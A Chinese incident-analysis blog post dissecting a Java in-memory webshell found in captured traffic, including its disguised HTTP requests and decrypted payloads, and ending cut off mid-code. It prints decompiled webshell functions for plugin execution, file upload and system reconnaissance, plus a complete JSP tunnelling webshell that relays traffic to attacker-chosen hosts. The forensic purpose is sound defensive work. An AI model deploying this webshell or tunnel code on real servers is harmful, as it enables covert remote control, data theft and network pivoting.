从零开始的内存马分析——如何骑马反杀(一)下
我们查看提取出的class内存马
我们将如上内存马打进去,并没有任何反应,
我们尝试切换tomcat进行解析
2.2 Tomcat 搭建
tomcat解析会报错,存在两个jar包缺失
返回数据
POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host:
Content-Length: 208{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8Content-Length: 290Date: Mon, 25 Jul 2022 11:16:23 GMT
Connection: close
{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p37h/TbEBuDTY/h8uggW9zZaqXH9R9/m1YziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}
我们此时发现,返回数据,没办法解密
流量2POST /web_war_exploded/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=9591F786236B86A2FD02F136EDA38C6B.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 127.0.0.1:8080Content-Length: 208{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}
HTTP/1.1 200 Set-Cookie: JSESSIONID=D13E378AB0CFF03E93024BD85D16A115; Path=/web_war_exploded; HttpOnly
Content-Type: application/json;charset=UTF-8Content-Length: 290Date: Sun, 31 Jul 2022 09:36:35 GMT
Connection: close
{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p3LqSQ62BTyUngI/DkW9Tp3quXH4sRpwFYziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}
打完大马的第一个数据包
我们发送的数据是
6D6574686F644E616D65020400000074657374
我们尝试解密返回的数据
本地复现的返回包和报文一致
我们再来看我们的马,
服务器数据 =》xor =》 base =》流量
流量 =》 base =》xor =》获得数据
注入后,我们对于返回包的数据解码并不成功
我们按下不表,在后续进行解密
我们去查看注入的内存马,发现存在GZIP和deserialize
也就是说,我们重新推断一次
服务器数据 =》xor =》 base =》流量
流量 =》 base =》xor =》获得数据
变为了
服务器数据 =》GZIP =》xor =》 base =》流量
流量 =》 base =》xor =》Gzip=》获得数据
我们对原本马的进一步分析之后,发现错过了一些细节
{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ
拼接的前半部分为这样,也就导致会解密出{RSA}
我们去除前面的影响之后,将流量的后续,进行解密
将返回的流量成功解密
0x03 内存马分析
3.1 功能预览
3.2 全局变量
sessionMap 用来存储多个session,说明 该系统rt是多人协同使用的工具,每个人的session不同
parameterMap 是用来存储传递的参数的
其他的也如图所见
introspector 监听器
public byte[] run() {//run函数
try {//第一个参数是evalClassName,也就是我们命令的参数,第二个是methodName也是我们执行的方法
String var1 = this.get("evalClassName"); String var20 = this.get("methodName"); // 方法为空就会提示
if (var20 == null) { return "Method is empty".getBytes();
} else { Object var21 = null; if (var1 != null) { //var4 是本身函数中的恶意module
Class var4 = (Class)this.session.get(var1); if (var4 == null) { return "Plugin module not loaded".getBytes();
} //参数Map,将sessionTable和servletRequest 存入
this.parameterMap.put("sessionTable", this.session);
this.parameterMap.put("servletRequest", this.servletRequest);
var21 = var4.newInstance();
}//下面是一个调用class和参数,
Method var23 = null; boolean var5 = var21 != null;//实例化对象是否存在,var5判断
Class var6 = var5 ? var21.getClass() : this.getClass(); var21 = var5 ? var21 : this;
//getByteArray函数见如下 byte[] var7 = this.getByteArray("invokeMethod"); Class[] var8 = new Class[1];//类的实例化 Object[] var9 = new Object[]{var21}; if (var7 != null || !var5) { try {
var8[0] = Map.class;
var23 = var6.getMethod(var20, var8);
} catch (NoSuchMethodException var18) { try {
var8[0] = Dictionary.class;
var23 = var6.getMethod(var20, var8);
} catch (NoSuchMethodException var16) { try {
var8 = new Class[0]; var9 = new Object[0]; var23 = var6.getMethod(var20, var8);
} catch (NoSuchMethodException var14) { return "No Such Method".getBytes();
}
}
}
} Object var10 = null; if (var23 != null) {
var10 = var23.invoke(var21, var9);
} else { //equals函数被重写了,见下
//toString函数也被重写了,见下
var21.equals(this.parameterMap);
var21.toString();
var10 = this.parameterMap.get("result");
} if (byte[].class.isInstance(var10)) { return (byte[])var10;
} else if (String.class.isInstance(var10)) { return ((String)var10).getBytes();
} else { return Map.class.isInstance(var10) ? this.serialize((Map)var10) : "Incorrect return type".getBytes();
}
}
} catch (Throwable var19) {
ByteArrayOutputStream var2 = new ByteArrayOutputStream();
PrintStream var3 = new PrintStream(var2);
var19.printStackTrace(var3);
var3.flush();
var3.close(); return var2.toByteArray();
}
}
3.3 被调用的函数
getByteArray
public byte[] getByteArray(String var1) { try { return (byte[])this.parameterMap.get(var1);
} catch (Exception var2) { return null;
}
} //获取parameterMap中的参数,上述传递的invokeMethod
equals 重写成参数不为空,同时对var1 调用handle
public boolean equals(Object var1) { return var1 != null && this.handle(var1);
}//var1 不为空的时候,
public boolean handle(Object var1) { if (var1 == null) { return false;
} else { //判断var1 是不是byteArrayoutputStream类,是的话,输出
if (ByteArrayOutputStream.class.isInstance(var1)) {
this.outputStream = (ByteArrayOutputStream)var1; //判断,是不是byte数组,是的话赋值requestData
} else if (byte[].class.isInstance(var1)) {
this.requestData = (byte[])var1;
} else if (this.supportClass(var1, ".servlet.http.HttpServletRequest")) {
this.servletRequest = var1;
} return false;
}
}//var2 servlet.http.httpServletReuest//var1
private boolean supportClass(Object var1, String var2) { if (var1 == null) { return false;
} else { boolean var3 = false; Class var4 = null; try { try {
var4 = Class.forName("javax" + var2, true, var1.getClass().getClassLoader());
} catch (Exception var5) {
var4 = Class.forName("jakarta" + var2, true, var1.getClass().getClassLoader());
}
} catch (Exception var6) {
} if (var4 != null && var4.isInstance(var1)) {
var3 = true;
} return var3;
}
}
反序列化
public HashMap deserialize(byte[] var1, boolean gzipFlag) {
HashMap var3 = new HashMap();
ByteArrayInputStream var4 = new ByteArrayInputStream(var1);
ByteArrayOutputStream var5 = new ByteArrayOutputStream();
byte[] var6 = new byte[4];//针对gzipFlag 判断对流是否采用GZIP加解密
try { Object var7 = var4; if (gzipFlag) {
var7 = new GZIPInputStream(var4);
} while(true) {
byte var8 = (byte)((InputStream)var7).read(); if (var8 == -1) { break;
} if (var8 == 1) {
((InputStream)var7).read(var6); int var9 = bytesToInt(var6); String var10 = var5.toString();
var3.put(var10, this.deserialize(this.readInputStream((InputStream)var7, var9), false));
var5.reset();
} else if (var8 == 2) {
((InputStream)var7).read(var6); int var12 = bytesToInt(var6); String var13 = var5.toString();
var3.put(var13, this.readInputStream((InputStream)var7, var12));
var5.reset();
} else {
var5.write(var8);
}
}
} catch (Exception var11) {
} return var3;
}
序列化
public byte[] serialize(Map var1) { Iterator var2 = var1.keySet().iterator();
ByteArrayOutputStream var3 = new ByteArrayOutputStream(); while(var2.hasNext()) { try { String var4 = (String)var2.next(); Object var5 = var1.get(var4);
var3.write(var4.getBytes());
byte[] var6; if (var5 instanceof byte[]) {
var3.write(2);
var6 = (byte[])var5;
} else if (var5 instanceof Map) {
var3.write(1);
var6 = this.serialize((Map)var5);
} else {
var3.write(2); if (var5 == null) {
var6 = "NULL".getBytes();
} else {
var6 = var5.toString().getBytes();
}
}
var3.write(intToBytes(var6.length));
var3.write(var6);
} catch (Exception var7) {
}
} return var3.toByteArray();
}
重写后的toString
public String toString() { if (this.outputStream != null && this.requestData != null) { try {
this.parameterMap = this.deserialize(this.requestData, true); String var1 = this.sessionId(); if (var1 != null) {
this.session = (Map)sessionMap.get(var1);
}//methodname就是我们在内存马中交互的函数名
String var2 = this.get("methodName"); if (var2 == null || this.session == null && !"test".equals(var2)) { return super.toString();
}
GZIPOutputStream var3 = new GZIPOutputStream(this.outputStream);
byte[] var4 = this.run();
var3.write(var4);
var3.close();
this.outputStream.close();
this.parameterMap = null;
this.requestData = null;
this.outputStream = null;
this.servletRequest = null;
this.session = null;
} catch (Throwable var5) {
}
} return super.toString();
}
close 关闭session
public byte[] close() { try { String var1 = this.sessionId(); String var2 = this.get("operation"); if (var1 != null) {
Map var7 = (Map)sessionMap.remove(var1);
var7.put("alive", Boolean.FALSE); return "ok".getBytes();
} else if (var2 != null && "clearup".equals(var2)) { for(Object var4 : sessionMap.values()) { if (Map.class.isInstance(var4)) {
((Map)var4).put("alive", Boolean.FALSE);
}
}
sessionMap.clear(); return "ok".getBytes();
} else { return "fail".getBytes();
}
} catch (Exception var6) { return var6.getMessage().getBytes();
}
}
uploadFIle,参数已经都修改了比较好懂
public byte[] uploadFile() { String filepath = this.get("fileName");
byte[] fileValues = this.getByteArray("fileValue"); if (var1 != null && var2 != null) { try {
File file = new File(filepath);
file.createNewFile();
FileOutputStream fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(fileValues);
fileOutputStream.close(); return "ok".getBytes();
} catch (Exception var5) { return var5.getMessage().getBytes();
}
} else { return "No parameter fileName and fileValue".getBytes();
}
}
getBasicsINfo 获取当前环境的相关信息
public byte[] getBasicsInfo() { String var1 = ""; try {
Enumeration var2 = System.getProperties().keys();
var1 = var1 + "FileRoot : " + this.listFileRoot() + "\n";
var1 = var1 + "CurrentDir : " + new File("").getAbsoluteFile() + "/" + "\n";
var1 = var1 + "CurrentUser : " + System.getProperty("user.name") + "\n";
var1 = var1 + "ProcessArch : " + System.getProperty("sun.arch.data.model") + "\n"; try { String var16 = System.getProperty("java.io.tmpdir");
char var4 = var16.charAt(var16.length() - 1); if (var4 != '\\' && var4 != '/') {
var16 = var16 + File.separator;
}
var1 = var1 + "TempDirectory : " + var16 + "\n";
} catch (Exception var7) {
}
var1 = var1 + "RealFile : " + this.getRealPath() + "\n"; try {
var1 = var1
+ "OsInfo : os.name: "
+ System.getProperty("os.name")
+ " os.version: "
+ System.getProperty("os.version")
+ " os.arch: "
+ System.getProperty("os.arch")
+ "\n";
} catch (Exception var6) {
var1 = var1 + "OsInfo : " + var6.getMessage() + "\n";
} String var17; for(var1 = var1 + "IPList : " + getLocalIPList() + "\n"; var2.hasMoreElements(); var1 = var1 + var17 + " : " + System.getProperty(var17) + "\n") {
var17 = (String)var2.nextElement();
}
Map var18 = this.getEnv(); if (var18 != null) { for(String var19 : var18.keySet()) {
var1 = var1 + var19 + " : " + var18.get(var19) + "\n";
}
} return var1.getBytes();
} catch (Exception var8) {
StringBuffer var3 = new StringBuffer();
var3.append(var1);
var3.append("Exception errMsg:");
var3.append(var8.getMessage()); return var3.toString().getBytes();
}
}
在数据包中,发现了一些比较大的数据量
POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=9591F786236B86A2FD02F136EDA38C6B.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host:
Content-Length: 6096{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"32a85e76c20073540fef1ce1ee320f50ae0ff737d7ed26e6a85da18aad02f435bc8518d11b1e9030f4be2e0b3af6a17b87b423600fada476b6400c826cbb29c8759449da755f460961a6996fafc2e7d0633389636aaa4d316cb6f4c2b05b3cbc482b600171952a15d416a565a9dd8cc8ab155646f51efde3f249cee568dd767eccfa3521d11b7ea0cb5939e3ed36e87b6b29a7fa4fbc90a8b99b6061aef5c2e7af82b947ad15df47b32139dabd03d0cc2487f11565dbe1c1cf1f6bd0e1bba680a3573135fb1459f0db7fbe78d79f31bfea595630af5e31f5d31e61ab8f959547ab0e4cdae1db0febcbb086077cff5bfa0cb6e4ec30ac9a2c59983aaf0e9025b975b1e749a4776bc1c63279e3190d430704d097ce3737a3f435b60da0c949e4f2fe3aad6dca3adc574fbef52d17893a7ed6055f6aac133e50738b9ad164fe7e9df8f45d8db67861345962782162eda63e96f815007397ff9f629736639f896ec929ff6d586c4f8c5d349e06ef5196cb525f786dafa9d98a37eac395852d7d4e06e146c83059161369bcad803b424203da730157ec11336b0871d927f194fc65936e0471e9571cd7308371ebcd0ed0ba4b9929fc0309025605db8bc22637a1a86dcfce4e89ee0e58f8aea28cd39bcaff1bda3b1fb52285186e406058e78548e21a37ccc2d60d0d75a73911b73ba1d70805eb63e5cc056e01c0d3ccd5b58d8e7ffed52f6a7c7b3670b7d1c8e739ab47b50a532874217e3ce1a52495f0f5953d740e6422c09360fb838a80513343ba1130d1eb3d68e8c125add9368e891ca3fe196ac30e8e3c7de85ecb4e0ccb5c16e35bb0d8acf90b74861cdcb5fb6f2d63a45875b03ed825fa64abf719b540180beb16729dd83d89296da542a716ece2434f2790ce7f478dc59834d7b854d570cf95185b0a4ca186432f16a1f14f259b4a5e80c5db23083640e09fd9f3d8162d30fbf6b1a88ffb158c8ab1628ef6c6d7d35188b796dd07d7bd0f92d316c243e744fe16567ea64937df3f037ed0920aee1cdc0ecccb60a35a095feff50ea74ea51539d2e5306b8a06b9cd144d49da59becf2f875d7b833f9e8c9293b015a8e69903b93e6f17c9e1c43b25e7d940d47c3fb8d289053db59c45cb2eff8d7c8be617d2c06ad1bd93f5cf9f74d4988148e05da68db648e47897c75c3b8962ba61c44bf4a408fe8104ffb032ebba5e7f04eae6b9629d324a2ebf42bc2eccea1f38eb97fb9627932a6ba624b32e92a80c0c9e12edb610644b618ed91f2dd5ebef37d50c628127338671daa80995ee630095bd2d46c83cbe323adce50da5d62c807994787d2d1c18f223840aa5e8f1c3225e275a26d16ca97f72cde36fb6653574f614a16e8596fca46caafe26c7d87d082234c9a4394ebc0354c086f9ac1a54d79204a13cb6e31388be8f3accd90a69fc05309f6807a83cd331e86a074325cfb81b436fa66972c1f272159fc896fa6bc132a261e4b1983876f3649da62cb04ad88674c2e01d4cb8fc865ffbd97cb52b623c4e4558cabe7ba7321850c4fca9c0a767f3afa8a1b74cff37635ed24e2c926ccdd4acce0e6eb2f7de8084036d8654b7e8923e03a5d119cb31fd076b246a62dbb8d2171fc36d683a358e35aa9173e83118def9f58e7205058b2f97cc81d29a0dce1bd1134c8afadda693f595b854d1745d0dec97a72ad09dfba993479bd1648a2d6674dcb51ea60027ea7003418ce39643f005b3f0a3ac717413e3f6e38870e24404712dd2b91a5c1eda973f54880c8b849445e054a99cbf8ec5fdebbee4bebacedba3425b3f7a3f78c6b6fb78b3b3e5a4ff8dd5db8f57cfb38024bfce90147c3340129bf6e0ccb578fe4fc3c7e52ca1e5606711d256c3e4ea01fb5a92fdb310ada833a8839c81fe1b4309a0fc13d661c06b95999812f1ac2eefb032dc8b1a54868e33ac30cfd77c4ce660f97192596b7988dca08ce24e96007a4e9c8d5c2f456cfe8430930e1ad4e78101260a51c35aaa188e4d1ecd1281728b59cf14053bf732a6cd167478e8d42753c9cea3739dea6c371d7a8a038dbb0d44e3890b40bf575ad674c96df09ba72ea3d81a59b495b1381615f063cbf7277069ae20366dc2f8a5efe63fd639590821a3a88007cdca540d0f6d847702e52ea8cbcf0a5cf56edb9e5d164debdb393ab2b26abef14f6d09cbb0bad56d10e38df1bcea0efa681fa7fd80a42590677a60c54fcc52081ed90d70be050920b17a9a6d8835293bb1bfebf9c5a24d8ccb46d319084081cc3529f3184fc43709907a808cb21597570df3a9fa5f1c0afa0d7fb42c4097ef43db533117b13800d4f8bf9e211046598afff48e89f10f4eab805836ccf4cca6e7d121b278c4b85b182012b20d560df094bb6530902ade5742406337855a2fbcc37ef73c85626f9ab49468f8d2117d0dfc890009b9e75a8a43f66e98706937c6649899acf3634756d1263085930e3e8fa4eabf323fa06021b640eedc99881671960ed3dffe68ee9016c6d79968a6a8a2498a740a362a1f58070bfb0cbcf45721a50fe18cc923a25445b9daca0e762bed46c21ccfb99ea4792bd4570c7a94d6b207077aaa455f584f3a7c99c0f35233a4ff629b31e385972d4e3f8faa9831219de17a8de763e6d0c6028045d61eb287e6034d8ccbdf143dab6156d8579f4812b784d794bb6d651c6fda18337306b406eacca9ac07c35455b18edef5b9c5720b2e0b97efddd90f94891e340d23f677664949edc64f12e445996eb9762581b98487d52a5715778752641db9a80cad992ba9a23dcc27e13aac9a67e9a5a9781f8dda8202eb6020d8c7dd501b3c66e53d117e2b8b71e6f64f6be71ace17f548fde712ed98603d4193cb4c637a66d4b666e78e3c5f43423d36956a1a94363885dd5e6b08cb85e92ca9965e6fd5a8696995dcd89aac3667b7d4a0f04fb40643342ab8c6baf6b13f85a6e088d8f2a29485b31acee691e348e48db962ae5465e509589b2f3279bb4b4b624bd9567828f01dd80f18584d9f80fcae542b769aad985e7c872b87dd0274270bc2a43de8568b0ba40ed1c9e8555a7c73e7a0f66dbaac8ed902808dbb5bcdf3e2cbf737684d9ae1091dbb3075da90b026ef1475b53d82cdd48bcc2cee0ed53e37e89ab96c3eb7a2db9b520187e05b7695c28f70b6a26ac8c3d620f9d512c3ce0fdfdc7614f4a6066d1af1ef4160db16251d00a87a3fe1d97762371ed76d0993c6fd3047033c48841df3580db4842053a208edee9aec14c4f0d6167fbbc1d7d1e27db0df961c149e569820d3a5b054047ea8c8c0fb3f0a02a4159e381e88dc80be44f29b7d81d225bc532f2ae7612567b2b0e6d98ac12f2dc1d468579ebe2691f8fb7909372fcee0edf636105b6e739636979838e67c7259b3e60bcd8c33ca6b813b181e92e28891f4a10c5b0307de3154ef976b90b6e9cb7da1df481d15594f182db9dc040dc92aea5f0866205320a00056367163edb541cd4c9c69cfda046c79e07a5353e7ccb7fa7ca30d8f70c884905a7e380acfc4b87cd776312a0c03b8ca7563d732fe60e1660d5393bff054171a6f2cfe0a944009c66a20e8c134e115d5c2c41a85f24523cfb30900304162589db0b4c3bdb77102c28f8e01d780baabf74d4e3c0495c530dc12a2432b7e23ac20435fe828298b7a98a182dc24bd6d380f8605f110040d0e68c9601d4db46e4aa50326e50553a6ea0dd06864790edf6e0019db88cb0bb3e047f8b34de42adc9fc9914cbcaa272bc224200ac5f5bbe77d2affdf90eb518f00d0e28efd124d5f9c13b02c9ced7d869ccf226a304aeaeee19515852039e52691117a44c75e9f4cbb0a08aae885f37b15599d636cca01821f0f8b1e1d5c96c31bf94a7b97c138c97f46c87e0f031480a21ed1c54ebe2e8a2d75e8261db357d16a97c8d48817cdfa68b6319e5dae23576103e93af792cc8e2501c0cdf0fe7bdbf98878a3e2c2f44c9bb022a24db998d404d3d2d745a8a5bf02983040f1896cbb8b46cc2b593d27f88b07e8de6aaa5f66742d67c8865a674d640489d11024fc1c31cbccd8c82a731e52b37496afa2b3bc84b737f0543ce5fa3beea789438e458d8ab67259249446f3925c03f91902f8198de4bf439ce068aa251e96d2bedbeae58196fd99dd770cee242403b7180a0be2538483a3285a5c2adc365158ec0911705438acae119c658eac193af640bb5e22f7f4cd7df6e3392da2b7ca28e5078b"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8Content-Length: 254Date: Wed, 27 Jul 2022 10:14:51 GMT
Connection: close
{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmk9QMbFy6mhJVhe6uJw==","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}
数据包中,如上数据,进行解密后
解出的jsp为,解出的代码也就是后续的windowsConfig.jsp,这个木马露出了马脚,终于被我们所捕获。
<%@page import="java.nio.ByteBuffer, java.nio.channels.SocketChannel, java.io.*, java.net.*, java.util.*" pageEncoding="UTF-8" trimDirectiveWhitespaces="true"%>
<%! private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray(); public static String b64en(byte[] data) {
StringBuffer sb = new StringBuffer(); int len = data.length; int i = 0; int b1, b2, b3; while (i < len) {
b1 = data[i++] & 0xff; if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[(b1 & 0x3) << 4]);
sb.append("=="); break;
}
b2 = data[i++] & 0xff; if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[((b1 & 0x03) << 4)
| ((b2 & 0xf0) >>> 4)]);
sb.append(en[(b2 & 0x0f) << 2]);
sb.append("="); break;
}
b3 = data[i++] & 0xff;
sb.append(en[b1 >>> 2]);
sb.append(en[((b1 & 0x03) << 4)
| ((b2 & 0xf0) >>> 4)]);
sb.append(en[((b2 & 0x0f) << 2)
| ((b3 & 0xc0) >>> 6)]);
sb.append(en[b3 & 0x3f]);
} return sb.toString();
} private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1}; public static byte[] b64de(String str) {
byte[] data = str.getBytes(); int len = data.length;
ByteArrayOutputStream buf = new ByteArrayOutputStream(len); int i = 0; int b1, b2, b3, b4; while (i < len) { do {
b1 = de[data[i++]];
} while (i < len && b1 == -1); if (b1 == -1) { break;
} do {
b2 = de[data[i++]];
} while (i < len && b2 == -1); if (b2 == -1) { break;
}
buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4))); do {
b3 = data[i++]; if (b3 == 61) { return buf.toByteArray();
}
b3 = de[b3];
} while (i < len && b3 == -1); if (b3 == -1) { break;
}
buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2))); do {
b4 = data[i++]; if (b4 == 61) { return buf.toByteArray();
}
b4 = de[b4];
} while (i < len && b4 == -1); if (b4 == -1) { break;
}
buf.write((int) (((b3 & 0x03) << 6) | b4));
} return buf.toByteArray();
} static String headerkey(String str) throws Exception { String out = ""; for (String block: str.split("-")) {
out += block.substring(0, 1).toUpperCase() + block.substring(1);
out += "-";
} return out.substring(0, out.length() - 1);
} boolean islocal(String url) throws Exception { String ip = (new URL(url)).getHost();
Enumeration nifs = NetworkInterface.getNetworkInterfaces(); while (nifs.hasMoreElements()) {
NetworkInterface nif = nifs.nextElement();
Enumeration addresses = nif.getInetAddresses(); while (addresses.hasMoreElements()) {
InetAddress addr = addresses.nextElement(); if (addr instanceof Inet4Address) if (addr.getHostAddress().equals(ip)) return true;
}
} return false;
}
%>
<% String rUrl = request.getHeader("Mueytrthxaatjpsb"); if (rUrl != null) {
rUrl = new String(b64de(rUrl)); if (!islocal(rUrl)){
response.reset(); String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
conn.setDoOutput(true); // conn.setConnectTimeout(200);
// conn.setReadTimeout(200);
Enumeration enu = request.getHeaderNames(); List keys = Collections.list(enu);
Collections.reverse(keys); for (String key : keys){ if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){ String value=request.getHeader(key);
conn.setRequestProperty(headerkey(key), value);
}
} int i;
byte[] buffer = new byte[1024]; if (request.getContentLength() != -1){
OutputStream output; try{
output = conn.getOutputStream();
}catch(Exception e){
response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV"); return;
}
ServletInputStream inputStream = request.getInputStream(); while ((i = inputStream.read(buffer)) != -1) {
output.write(buffer, 0, i);
}
output.flush();
output.close();
} for (String key : conn.getHeaderFields().keySet()) { if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){ String value = conn.getHeaderField(key);
response.setHeader(key, value);
}
}
InputStream hin; if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {
hin = conn.getInputStream();
} else {
hin = conn.getErrorStream(); if (hin == null){
response.setStatus(200); return;
}
}
ByteArrayOutputStream baos = new ByteArrayOutputStream(); while ((i = hin.read(buffer)) != -1) {
byte[] data = new byte[i];
System.arraycopy(buffer, 0, data, 0, i);
baos.write(data);
} String responseBody = new String(baos.toByteArray());
response.addHeader("Content-Length", Integer.toString(responseBody.length()));
response.setStatus(conn.getResponseCode());
out.write(responseBody);
out.flush(); if ( true ) return; // exit
}
}
response.resetBuffer();
response.setStatus(200); String cmd = request.getHeader("Ffydhndmhhl"); if (cmd != null) { String mark = cmd.substring(0,22);
cmd = cmd.substring(22);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); if (cmd.compareTo("b5v9XJbF") == 0) { try { String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|"); String target = target_ary[0]; int port = Integer.parseInt(target_ary[1]);
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
application.setAttribute(mark, socketChannel);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO");
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
}
} else if (cmd.compareTo("0FX") == 0) {
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{
socketChannel.socket().close();
} catch (Exception e) {
}
application.removeAttribute(mark);
} else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{
ByteBuffer buf = ByteBuffer.allocate(513); int bytesRead = socketChannel.read(buf); int maxRead = 524288; int readLen = 0; while (bytesRead > 0){
byte[] data = new byte[bytesRead];
System.arraycopy(buf.array(), 0, data, 0, bytesRead);
out.write(b64en(data));
out.flush();
((java.nio.Buffer)buf).clear();
readLen += bytesRead; if (bytesRead < 513 || readLen >= maxRead) break;
bytesRead = socketChannel.read(buf);
}
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
}
} else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try { String inputData = "";
InputStream in = request.getInputStream(); while ( true ){
byte[] buff = new byte[in.available()]; if (in.read(buff) == -1) break;
inputData += new String(buff);
}
byte[] base64 = b64de(inputData);
ByteBuffer buf = ByteBuffer.allocate(base64.length);
buf.put(base64);
buf.flip(); while(buf.hasRemaining())
socketChannel.write(buf);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
response.setHeader("Die", "QmPrA86mT15");
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
socketChannel.socket().close();
}
}
} else {
out.write("");
}
%>
0x04 小总结
本篇我们将木马的侵入流程做了大致的模拟,在本地搭建了环境,并且编写了加解密的脚本,能够暂时的为我们的流量包进行加解密,也简单的分析了一些代码,在下一篇中,将会对每一个功能进行细致的编写。
由于篇幅太长,暂时分为两篇,wait(二)
/// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//package org.apache.coyote.introspect;import java.awt.Rectangle;import java.awt.Robot;import java.awt.Toolkit;import java.awt.image.BufferedImage;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.PrintStream;import java.io.RandomAccessFile;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.InetAddress;import java.net.URL;import java.sql.Connection;import java.sql.Driver;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.ResultSetMetaData;import java.sql.Statement;import java.text.SimpleDateFormat;import 